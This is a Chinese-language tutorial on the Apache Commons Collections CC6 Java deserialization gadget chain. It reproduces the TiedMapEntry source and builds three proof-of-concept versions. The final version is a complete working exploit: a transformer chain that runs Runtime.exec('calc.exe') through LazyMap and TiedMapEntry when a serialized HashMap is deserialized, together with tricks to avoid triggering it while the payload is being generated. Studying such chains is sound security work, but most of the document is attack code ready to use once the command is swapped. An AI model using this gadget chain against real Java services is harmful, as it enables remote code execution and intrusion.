commons.collections6
前⾔
jdk8u71之后,CC1链就不能⽤了,在ysoserial⾥,CC6链算是⽐较通⽤的利⽤链了,主要就是⾼版本兼容。
TiedMapEntry
解决Java⾼版本的利⽤问题,实际上就是找上下⽂中有没有其他调⽤LazyMap#get的地⽅,这⾥找到的类就是 org.apache.commons.collections.keyvalue.TiedMapEntry
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.commons.collections.keyvalue;
import java.io.Serializable;
import java.util.Map;
import org.apache.commons.collections.KeyValue;
/**
* A {@link java.util.Map.Entry Map.Entry} tied to a map underneath.
* <p>
* This can be used to enable a map entry to make changes on the underlying
* map, however this will probably mess up any iterators.
*
* @since Commons Collections 3.0
* @version $Revision: 646777 $ $Date: 2008-04-10 13:33:15 +0100 (Thu, 10 Apr 2008) $
*
* @author Stephen Colebourne
*/
public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {
/** Serialization version */
private static final long serialVersionUID = -8453869361373831205L;
/** The map underlying the entry/iterator */
private final Map map;
/** The key */
private final Object key;
/**
* Constructs a new entry with the given Map and key.
*
* @param map the map
* @param key the key
*/
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}
// Map.Entry interface
//-------------------------------------------------------------------------
/**
* Gets the key of this entry
*
* @return the key
*/
public Object getKey() {
return key;
}
/**
* Gets the value of this entry direct from the map.
*
* @return the value
*/
public Object getValue() {
return map.get(key);
}
/**
* Sets the value associated with the key direct onto the map.
*
* @param value the new value
* @return the old value
* @throws IllegalArgumentException if the value is set to this map entry
*/
public Object setValue(Object value) {
if (value == this) {
throw new IllegalArgumentException("Cannot set value to this map entry");
}
return map.put(key, value);
}
/**
* Compares this <code>Map.Entry</code> with another <code>Map.Entry</code>.
* <p>
* Implemented per API documentation of {@link java.util.Map.Entry#equals(Object)}
*
* @param obj the object to compare to
* @return true if equal key and value
*/
public boolean equals(Object obj) {
if (obj == this) {
return true;
}
if (obj instanceof Map.Entry == false) {
return false;
}
Map.Entry other = (Map.Entry) obj;
Object value = getValue();
return
(key == null ? other.getKey() == null : key.equals(other.getKey())) &&
(value == null ? other.getValue() == null : value.equals(other.getValue()));
}
/**
* Gets a hashCode compatible with the equals method.
* <p>
* Implemented per API documentation of {@link java.util.Map.Entry#hashCode()}
*
* @return a suitable hash code
*/
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
/**
* Gets a string version of the entry.
*
* @return entry as a string
*/
public String toString() {
return getKey() + "=" + getValue();
}
}
其getValue⽅法调⽤了this.map.get,hashCode⽅法则调⽤了getValue,所以要想触发LazyMap利⽤链,就是 要找到哪⾥调⽤了TiedMapEntry#hashCode⽅法 简化的是可以通过java.util.HahsMap#readObject调⽤hash(key),然后在hash⽅法中再来调⽤ key.hashcode():
所以只需要让key等于TiedMapEntry对象即可。 构造初始POC:
package cc;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class cc6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]
{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]
{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"calc.exe"}),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"moonsec");
HashMap hashMap= new HashMap<>();
hashMap.put(tiedMapEntry,"aaa");
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream outputStream = new ObjectOutputStream( new
FileOutputStream("ser.bin"));
outputStream.writeObject(obj);
outputStream.close();
}
public static void unserialize() throws Exception{
ObjectInputStream inputStream = new ObjectInputStream( new
FileInputStream("ser.bin"));
Object obj = inputStream.readObject();
}
}
构造gadget
构造的时候使⽤了⼀些技巧,先创建了⼀个不执⾏命令的 Transformers 在序列化的前⼀刻才将其替换 为真正的Transformers,这样能够防⽌我们在⽣成poc时的本地命令执⾏。
package cc;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class cc6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]
{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]
{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"calc.exe"}),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map lazyMap = LazyMap.decorate(new HashMap(), new
ConstantTransformer(1));
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"moonsec");
HashMap hashMap= new HashMap<>();
hashMap.put(tiedMapEntry,"aaa");
Class c = LazyMap.class;
Field factoryField =c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,transformerChain);
serialize(hashMap);
unserialize();
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream outputStream = new ObjectOutputStream( new
FileOutputStream("ser.bin"));
outputStream.writeObject(obj);
outputStream.close();
}
public static void unserialize() throws Exception{
ObjectInputStream inputStream = new ObjectInputStream( new
FileInputStream("ser.bin"));
Object obj = inputStream.readObject();
}
}
发现 这个已经存在。在序列化前先把将他删除 原因boolean containsKey(Object key);//如果hashMap中存在指定的key对应的映射关系返回true,否则返 回false 也就是他检测到了hashMap中有⼀个key是moonsec的对象,我们唯⼀⽤到moonsec的地⽅就是 TiedMapEntry的构造函数⾥⾯,但是构造函数⾥⾯并没有修改lazyMap
其关键点就在expMap.put(tiedMapEntry,"aaa");⾥⾯,在HashMap的put⽅法中,也调⽤到了 hash(key);
package sec;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class cc6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map lazyMap = LazyMap.decorate(new HashMap(), new ConstantTransformer(1));
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"key");
HashMap hashMap=new HashMap<>();
hashMap.put(tiedMapEntry,"value");
lazyMap.remove("key");
Class c = LazyMap.class;
Field factoryfield = c.getDeclaredField("factory");
factoryfield.setAccessible(true);
factoryfield.set(lazyMap,transformerChain);
serialize(hashMap);
unserialize();
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream outputStream = new ObjectOutputStream( new FileOutputStream("ser.bin"));
outputStream.writeObject(obj);
outputStream.close();
}
public static void unserialize() throws Exception{
ObjectInputStream inputStream = new ObjectInputStream( new FileInputStream("ser.bin"));
Object obj = inputStream.readObject();
}
}